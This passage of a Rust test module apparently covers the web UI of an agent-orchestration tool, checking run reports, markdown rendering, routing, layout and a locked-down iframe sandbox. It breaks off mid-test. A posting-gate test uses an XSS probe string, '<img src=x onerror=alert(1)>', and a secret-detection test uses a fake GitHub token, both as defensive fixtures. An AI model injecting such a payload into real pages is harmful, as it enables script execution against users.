19460 let delib_lines = judging["deliberation"].as_array().unwrap();
19462 assert_eq!(delib_lines.len(), 2);
19463 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19464 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19465
19466 let rounds = judging["rounds"].as_array().unwrap();
19468 assert_eq!(rounds.len(), 2);
19469 let r1_t0 = &rounds[0]["turns"][0];
19470 assert_eq!(r1_t0["judge"], 1);
19471 assert_eq!(r1_t0["agent"], "judge-1");
19472 assert_eq!(r1_t0["tentative"], "A");
19473 assert_eq!(
19474 r1_t0["body"],
19475 "I prefer candidate **A** because it has cleaner tests."
19476 );
19477 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19478
19479 let r2_t0 = &rounds[1]["turns"][0];
19480 assert_eq!(r2_t0["judge"], 1);
19481 assert_eq!(r2_t0["agent"], "judge-1");
19482 assert!(r2_t0["tentative"].is_null());
19483 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19484 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19485
19486 let id_empty = "20260902-140504-nodelib";
19488 write_run(&f.runs(), id_empty, RunStatus::Merged);
19489 let path_empty = f.runs().join(id_empty).join("run.json");
19490 let mut v_empty: serde_json::Value =
19491 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19492 v_empty["judgements"] = serde_json::json!([
19493 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19494 ]);
19495 v_empty["deliberation"] = serde_json::json!([]);
19496 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19497
19498 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19499 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19500 let j_empty = res_empty.json();
19501 let judging_empty = j_empty["sections"]
19502 .as_array()
19503 .unwrap()
19504 .iter()
19505 .find(|s| s["kind"] == "judging")
19506 .expect("judging section exists");
19507 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19508 }
19509
19510 #[tokio::test]
19511 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19512 let f = Fixture::start().await;
19513
19514 let html = f.get("/").await;
19515 let css = f.get("/app.css").await;
19516 let js = f.get("/app.js").await;
19517
19518 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19519 assert!(
19520 html.headers
19521 .contains("content-type: text/html; charset=utf-8")
19522 );
19523 assert!(css.headers.contains("content-type: text/css"));
19524 assert!(js.headers.contains("content-type: text/javascript"));
19525 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19526 }
19527
19528 #[test]
19529 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19530 let body = |name: &str| {
19531 let at = APP_JS
19532 .find(name)
19533 .unwrap_or_else(|| panic!("{name} missing"));
19534 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19535 };
19536 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19537 let note = body("function landRoundNote");
19538 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19539 assert!(note.contains("Land round ${round}"));
19540 let land = body("function renderLand");
19541 let note_at = land
19542 .find("landRoundNote(pr)")
19543 .expect("renderLand uses the note");
19544 assert!(
19545 note_at
19546 < land
19547 .find("roundRail(pr)")
19548 .expect("renderLand uses the rail")
19549 );
19550 }
19551
19552 #[test]
19553 fn the_runs_page_redesign_keeps_its_guards() {
19554 let body = |name: &str| {
19555 let at = APP_JS
19556 .find(name)
19557 .unwrap_or_else(|| panic!("{name} missing"));
19558 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19559 };
19560 let land = body("function renderLand");
19562 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19563 assert!(
19564 !land.contains("box.append("),
19565 "renderLand must use append()"
19566 );
19567 assert!(land.contains("append(box, ["));
19568 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19570 assert!(
19571 body("function applyRoute")
19572 .contains("route.name !== state.route.name || route.id !== state.route.id")
19573 );
19574 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19576 assert!(!INDEX_HTML.contains("advise-converge"));
19577 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19578 assert!(APP_JS.contains("provisional"));
19579 for id in [
19580 "run-tab-overview",
19581 "run-tab-timeline",
19582 "run-tab-report",
19583 "run-report",
19584 "runs-scope",
19585 ] {
19586 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19587 }
19588 assert!(!INDEX_HTML.contains("runs-tree"));
19589 assert!(!INDEX_HTML.contains("run-raw-panel"));
19590 assert!(APP_JS.contains("resume"));
19592 assert!(APP_JS.contains("unreadable"));
19594 }
19595
19596 #[test]
19597 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19598 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19599 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19600 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19601 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19602 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19603 assert!(APP_JS.contains("unreadable` : null"));
19605 }
19606
19607 #[test]
19608 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19609 let mut state = RunState::new(
19610 "/repo".into(),
19611 "main".into(),
19612 "abc".into(),
19613 "task".into(),
19614 crate::config::Config::default(),
19615 );
19616 state.status = RunStatus::Blocked;
19617 state.gate_ran = true;
19618 state.gate.push(crate::run::CommandOutcome {
19619 command: "cargo make check".into(),
19620 code: Some(1),
19621 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19622 duration_ms: 0,
19623 resource_blocked: false,
19624 });
19625 let view = RunDetailView::of(
19626 state,
19627 false,
19628 crate::run::Liveness::Unknown,
19629 None,
19630 None,
19631 None,
19632 );
19633 let value = serde_json::to_value(view).unwrap();
19634 assert_eq!(
19635 value["stop_reason"],
19636 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19637 );
19638 }
19639
19640 #[test]
19641 fn the_run_detail_payload_says_whether_the_run_is_done() {
19642 for (status, done) in [
19644 (RunStatus::Superseded, true),
19645 (RunStatus::Blocked, true),
19646 (RunStatus::Landing, false),
19647 ] {
19648 let mut state = RunState::new(
19649 std::path::PathBuf::from("/repo"),
19650 "main".to_owned(),
19651 "abc".to_owned(),
19652 "x".to_owned(),
19653 crate::config::Config::default(),
19654 );
19655 state.status = status;
19656 let v = serde_json::to_value(RunDetailView::of(
19657 state,
19658 false,
19659 crate::run::Liveness::Unknown,
19660 None,
19661 None,
19662 None,
19663 ))
19664 .unwrap();
19665 assert_eq!(v["done"], done, "{status:?}");
19666 }
19667 }
19668
19669 fn has_strong(nodes: &[md::Node]) -> bool {
19671 serde_json::to_string(nodes).unwrap().contains("strong")
19672 }
19673
19674 #[test]
19675 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19676 let mut state = RunState::new(
19677 std::path::PathBuf::from("/repo"),
19678 "main".to_owned(),
19679 "abc".to_owned(),
19680 "x".to_owned(),
19681 crate::config::Config::default(),
19682 );
19683 let proposal = |approach: &str| {
19684 serde_json::json!({
19685 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19686 })
19687 };
19688 state.advice = Some(
19689 serde_json::from_value(serde_json::json!({
19690 "records": [
19691 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19692 "proposal": proposal("do **this**")},
19693 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19694 ],
19695 "synthesis": "- one\n- **two**\n\n`code`",
19696 }))
19697 .unwrap(),
19698 );
19699 state.candidates = serde_json::from_value(serde_json::json!([
19700 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19701 "summary": "did **it**"},
19702 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19703 ]))
19704 .unwrap();
19705 state.reviews = serde_json::from_value(serde_json::json!([{
19708 "round": 1, "head": "h",
19709 "reviews": [{
19710 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19711 "findings": [
19712 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19713 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19714 ],
19715 }],
19716 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19717 "fix": {"agent": "a", "notes": "fixed **it**",
19718 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19719 }, {"round": 2, "head": "h2", "reviews": []}]))
19720 .unwrap();
19721
19722 let v = serde_json::to_value(RunDetailView::of(
19723 state,
19724 false,
19725 crate::run::Liveness::Unknown,
19726 None,
19727 None,
19728 None,
19729 ))
19730 .unwrap();
19731
19732 let strong = |p: &str| {
19733 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19734 assert!(n.to_string().contains("strong"), "{p}: {n}");
19735 };
19736 strong("/advice_md/synthesis");
19737 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19738 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19739 strong("/advice_md/approaches/0");
19740 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19741 strong("/candidate_summaries_md/0");
19742 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19743 strong("/reviews_md/0/reviewers/0/summary");
19744 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19745 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19746 assert!(f[1].to_string().contains("strong"));
19747 strong("/reviews_md/0/reconsideration/0");
19748 strong("/reviews_md/0/fix/notes");
19749 strong("/reviews_md/0/fix/rejected/0");
19750 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19751 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19752 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19754 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19755 }
19756
19757 #[test]
19758 fn a_run_without_advice_has_no_advice_md() {
19759 let state = RunState::new(
19760 std::path::PathBuf::from("/repo"),
19761 "main".to_owned(),
19762 "abc".to_owned(),
19763 "x".to_owned(),
19764 crate::config::Config::default(),
19765 );
19766 let p = run_prose_md(&state);
19767 assert!(p.advice_md.is_none());
19768 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19769 }
19770
19771 #[test]
19772 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19773 let store = ask::Questions::at(PathBuf::from("unused"));
19774 let gt = crate::github_text::Withheld {
19775 title: false,
19776 body: true,
19777 categories: vec!["sensitive-data".into()],
19778 };
19779 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19780 let (detail, comparison) =
19781 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19782 let mut q = Question::new(
19783 "r".into(),
19784 "github-text".into(),
19785 "posting-gate".into(),
19786 "s".into(),
19787 detail,
19788 Vec::new(),
19789 );
19790 assert!(
19791 QuestionView::of(q.clone(), &store, None)
19792 .posting_view
19793 .is_none()
19794 );
19795 q.posting_comparison = Some(comparison);
19796 let view = QuestionView::of(q.clone(), &store, None);
19797 let field = &view.posting_view.unwrap().fields[0];
19798 assert_eq!(
19799 field
19800 .original
19801 .iter()
19802 .map(|f| f.text.as_str())
19803 .collect::<String>(),
19804 body
19805 );
19806 assert!(field.original[0].text.starts_with("<img"));
19807 let original_question: Question =
19808 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19809 assert_eq!(original_question, q);
19810 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19811 .original
19812 .start = 1;
19813 assert!(
19814 QuestionView::of(q.clone(), &store, None)
19815 .posting_view
19816 .is_none()
19817 );
19818 q.posting_comparison = original_question.posting_comparison;
19819 q.detail.push_str("extra context");
19820 assert!(
19821 QuestionView::of(q.clone(), &store, None)
19822 .posting_view
19823 .is_some()
19824 );
19825 q.detail.insert(0, 'x');
19826 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19827 }
19828
19829 #[test]
19830 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19831 let store = ask::Questions::at(PathBuf::from("unused"));
19832 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19833 let gt = crate::github_text::Withheld::from_check(
19834 &crate::github_text::check("fix: x", body),
19835 "fix: x",
19836 body,
19837 )
19838 .unwrap();
19839 let (detail, comparison) =
19840 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19841 let mut q = Question::new(
19842 "r".into(),
19843 "github-text".into(),
19844 "posting-gate".into(),
19845 "s".into(),
19846 detail,
19847 Vec::new(),
19848 );
19849 q.posting_comparison = Some(comparison);
19850 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19851 let field = &value["posting_view"]["fields"][0];
19852 let group = &field["replacement_group"];
19853 let triggers = group["triggers"].as_array().unwrap();
19854 assert_eq!(triggers.len(), 2);
19855 assert_ne!(triggers[0], triggers[1]);
19856 for id in triggers {
19857 assert!(
19858 field["original"]
19859 .as_array()
19860 .unwrap()
19861 .iter()
19862 .any(|f| &f["pair"] == id)
19863 );
19864 assert!(
19865 !field["changed"]
19866 .as_array()
19867 .unwrap()
19868 .iter()
19869 .any(|f| &f["pair"] == id)
19870 );
19871 }
19872 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19873 group["id"].as_u64().unwrap() as usize;
19874 assert!(
19875 QuestionView::of(q, &store, None).posting_view.is_none(),
19876 "group and trigger IDs cannot collide"
19877 );
19878 }
19879
19880 #[test]
19881 fn a_question_view_carries_markdown_for_each_thread_turn() {
19882 let home = TempDir::new().unwrap();
19883 let store = ask::Questions::at(home.path().join("questions"));
19884 let mut q = Question::new(
19885 "run".to_owned(),
19886 "implement".to_owned(),
19887 "impl-A".to_owned(),
19888 "which?".to_owned(),
19889 String::new(),
19890 Vec::new(),
19891 );
19892 q.say("plain words").unwrap();
19893 q.reply("use **this**", Vec::new()).unwrap();
19894 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19895 let bodies = &v["thread_bodies_md"];
19896 assert_eq!(bodies.as_array().unwrap().len(), 2);
19897 assert!(!bodies[0].to_string().contains("strong"));
19898 assert!(bodies[1].to_string().contains("strong"));
19899 }
19900
19901 #[test]
19902 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19903 let home = TempDir::new().unwrap();
19904 let store = ask::Questions::at(home.path().join("questions"));
19905 let mut q = Question::new(
19906 "run".to_owned(),
19907 "conduct".to_owned(),
19908 "conduct".to_owned(),
19909 "which?".to_owned(),
19910 String::new(),
19911 Vec::new(),
19912 );
19913 q.say("plain words").unwrap();
19914 q.thread.push(ask::Turn {
19915 who: ask::Who::Agent,
19916 body: "Settled as `merge`".to_owned(),
19917 at: jiff::Timestamp::now(),
19918 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19919 });
19920 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19921 let notes = &v["thread_notes_md"];
19922 assert_eq!(notes.as_array().unwrap().len(), 2);
19923 assert!(notes[0].is_null());
19924 let text = notes[1].to_string();
19925 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19926 assert!(APP_JS.contains("ask-turn-note"));
19927 }
19928
19929 #[test]
19930 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19931 assert!(APP_JS.contains("function landView(run, raw) {"));
19935 assert!(
19936 APP_JS.contains(
19937 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19938 )
19939 );
19940 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19941 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19942 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19943 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19944 }
19945
19946 #[test]
19947 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19948 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19949 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19950 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19951 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19952 }
19953
19954 #[test]
19955 fn review_rounds_label_a_distinct_verified_head() {
19956 assert!(APP_JS.contains("round.verified_head"));
19957 assert!(APP_JS.contains("verified HEAD"));
19958 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19959 }
19960
19961 #[test]
19962 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19963 assert!(APP_JS.contains("blocked: { glyph:"));
19967 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19968
19969 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19973 assert!(
19974 APP_JS.contains(
19975 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19976 ),
19977 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19978 );
19979 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19983
19984 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19988 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19989 assert!(
19990 APP_JS.contains("location.hash = \"#/questions\";"),
19991 "a question node must jump to the Questions screen, not pretend to be a task"
19992 );
19993
19994 assert!(APP_JS.contains("Resolved questions"));
19997 assert!(APP_JS.contains("r.answersList.append("));
19998 assert!(APP_CSS.contains(".task-answers"));
19999 {
20000 let start = APP_JS
20001 .find("function updateTalkTaskRow")
20002 .expect("updateTalkTaskRow");
20003 let body = &APP_JS[start..];
20004 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20005 assert!(
20006 body.contains(
20007 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20008 ),
20009 "a chat-filed task row must link to the task page"
20010 );
20011 assert!(
20012 !body.contains("#/runs/") && !body.contains("#/queue/"),
20013 "the row must not branch to a run or the queue card"
20014 );
20015 assert!(APP_CSS.contains(".talk-task-link"));
20016 }
20017 }
20018
20019 #[test]
20020 fn a_task_notification_links_to_the_task_page() {
20021 let start = APP_JS
20023 .find("function noticeLink(")
20024 .expect("noticeLink exists");
20025 let body = &APP_JS[start..];
20026 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20027 assert!(
20028 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20029 "a task notice's link must target the task page"
20030 );
20031 assert!(
20032 !body.contains("#/queue/"),
20033 "regression: the task link must not go back to the Backlog route"
20034 );
20035 assert!(
20036 APP_JS.contains(
20037 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20038 ),
20039 "`#/tasks/<id>` must parse into the task route"
20040 );
20041
20042 assert!(
20044 APP_JS.contains(
20045 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20046 ),
20047 "`#/queue/<id>` must parse into a route carrying that id"
20048 );
20049
20050 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20054 assert!(APP_JS.contains("function consumeQueueFocus()"));
20055 assert!(APP_JS.contains("jumpToTask(id)"));
20056 }
20057
20058 #[test]
20059 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20060 let start = APP_JS
20061 .find("function noticeCoveredBy(")
20062 .expect("noticeCoveredBy exists");
20063 let body = &APP_JS[start..];
20064 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20065
20066 assert!(body.contains("Associated question ${short}"));
20068 assert!(!body.contains("el(\"a\""));
20069
20070 assert!(body.contains("(resolved)"));
20072 assert!(body.contains("(closed)"));
20073
20074 let start = APP_JS
20075 .find("function renderNotifications()")
20076 .expect("renderNotifications exists");
20077 let body = &APP_JS[start..];
20078 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20079
20080 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20082 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20083 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20084 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20085 }
20086
20087 #[test]
20090 fn chat_rows_put_the_title_alone_on_the_first_line() {
20091 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20092 assert!(APP_CSS.contains(
20093 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20094 ));
20095 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20096 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20097 }
20098
20099 #[test]
20100 fn run_rows_put_the_title_alone_on_the_first_line() {
20101 assert!(
20102 APP_CSS.contains(
20103 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20104 )
20105 );
20106 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20107 assert!(APP_JS.contains("class: \"card run-card\""));
20108 assert!(APP_JS.contains("class: \"repo run-id\""));
20109 }
20110
20111 #[test]
20115 fn wide_screens_show_list_and_preview_side_by_side() {
20116 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20118 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20119 assert!(APP_CSS.contains("main[data-split]"));
20120 assert!(APP_CSS.contains("body[data-split]"));
20121
20122 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20124 assert!(
20125 APP_JS.contains(
20126 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20127 )
20128 );
20129 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20130 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20131 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20132
20133 assert!(APP_JS.contains("function markSelected() {"));
20135 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20136 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20137 assert!(
20139 APP_CSS.contains(
20140 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20141 )
20142 );
20143
20144 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20146 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20147 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20148 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20149
20150 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20154 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20155 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20156 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20157
20158 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20160 }
20161
20162 #[test]
20163 fn panel_sandbox_carries_exactly_popups() {
20164 let needle = "sandbox: \"";
20165 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20166 assert_eq!(
20167 matches.len(),
20168 1,
20169 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20170 );
20171 let start = matches[0].0 + needle.len();
20172 let end = APP_JS[start..]
20173 .find('"')
20174 .expect("sandbox attribute value must be terminated by a closing quote");
20175 let val = &APP_JS[start..start + end];
20176 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20177 let expected: std::collections::BTreeSet<&str> =
20178 ["allow-popups", "allow-popups-to-escape-sandbox"]
20179 .into_iter()
20180 .collect();
20181 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20182 assert!(
20183 !tokens.contains("allow-scripts"),
20184 "allow-scripts must never be present in sandbox"
20185 );
20186 assert!(
20187 !tokens.contains("allow-same-origin"),
20188 "allow-same-origin must never be present in sandbox"
20189 );
20190 }
20191
20192 #[test]
20193 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20194 assert!(
20203 APP_JS.contains(
20204 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20205 ),
20206 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20207 recursive renderQueue() call has nothing left to jump to"
20208 );
20209 assert!(
20210 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20211 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20212 arrives later still gets it"
20213 );
20214 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20215 assert!(APP_JS.contains("is not in the current Backlog."));
20216 assert!(APP_JS.contains("li.card[data-task-id=\""));
20217 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20218 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20219 assert!(APP_CSS.contains(".card-permalink"));
20220 assert!(APP_CSS.contains(".queue-focus-status"));
20221 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20222 }
20223
20224 #[test]
20225 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20226 assert!(
20234 APP_JS.contains(
20235 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20236 ),
20237 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20238 );
20239 }
20240
20241 #[test]
20242 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20243 assert!(
20244 APP_JS.contains("round.verified_head !== round.head"),
20245 "a round that verified an earlier commit must be visibly distinct from one that \
20246 verified the head reviewers are looking at now"
20247 );
20248 assert!(
20249 APP_JS.contains("round.verified_at"),
20250 "when a check ran must be on the wire, not just which commit"
20251 );
20252 assert!(
20253 APP_JS.contains("resource_blocked"),
20254 "a command magi never got to run (shared build cache contention) must not render \
20255 the same as a command that ran and failed"
20256 );
20257 }
20258
20259 #[test]
20260 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20261 assert!(
20269 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20270 "every KPI tile built through statusTile() must route its click through \
20271 openRunsFiltered, the single place that sets the Runs filter"
20272 );
20273 for (label, status) in [
20274 ("Merged", "merged"),
20275 ("Ready", "ready"),
20276 ("Blocked", "blocked"),
20277 ("Stalled", "stalled"),
20278 ] {
20279 let call = format!("statusTile(\"{label}\", t.{status}, ");
20280 assert!(
20281 APP_JS.contains(&call),
20282 "expected the {label} KPI tile built via {call}..."
20283 );
20284 assert!(
20285 APP_JS.contains(&format!("status === \"{status}\"")),
20286 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20287 compare a run against, not one invented only for the stats tile"
20288 );
20289 }
20290 assert!(
20291 APP_JS.contains("function openRunsFiltered(status)"),
20292 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20293 );
20294 assert!(
20295 APP_JS.contains(
20296 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20297 ),
20298 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20299 );
20300 assert!(
20308 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20309 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20310 hashchange event that may never fire"
20311 );
20312 }
20313
20314 #[test]
20315 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20316 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20322 assert!(
20323 APP_JS.contains(
20324 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20325 ),
20326 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20327 guard for an incompatible tree section"
20328 );
20329 }
20330
20331 #[test]
20332 fn every_stats_queue_tile_names_a_real_queue_section() {
20333 assert!(
20339 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20340 "every queue tile built through sectionTile() must route its click through \
20341 openQueueSectionFocus"
20342 );
20343 for key in ["upnext", "running", "done", "held", "blocked"] {
20344 assert!(
20345 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20346 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20347 );
20348 }
20349 for line in [
20353 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20354 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20355 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20356 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20357 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20358 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20359 ] {
20360 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20361 }
20362 }
20363
20364 #[test]
20365 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20366 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20373 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20374 assert!(APP_JS.contains("function revealQueueSection(details)"));
20375 assert!(
20376 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20377 "renderQueue() must consume both focus channels on every pass"
20378 );
20379 assert!(
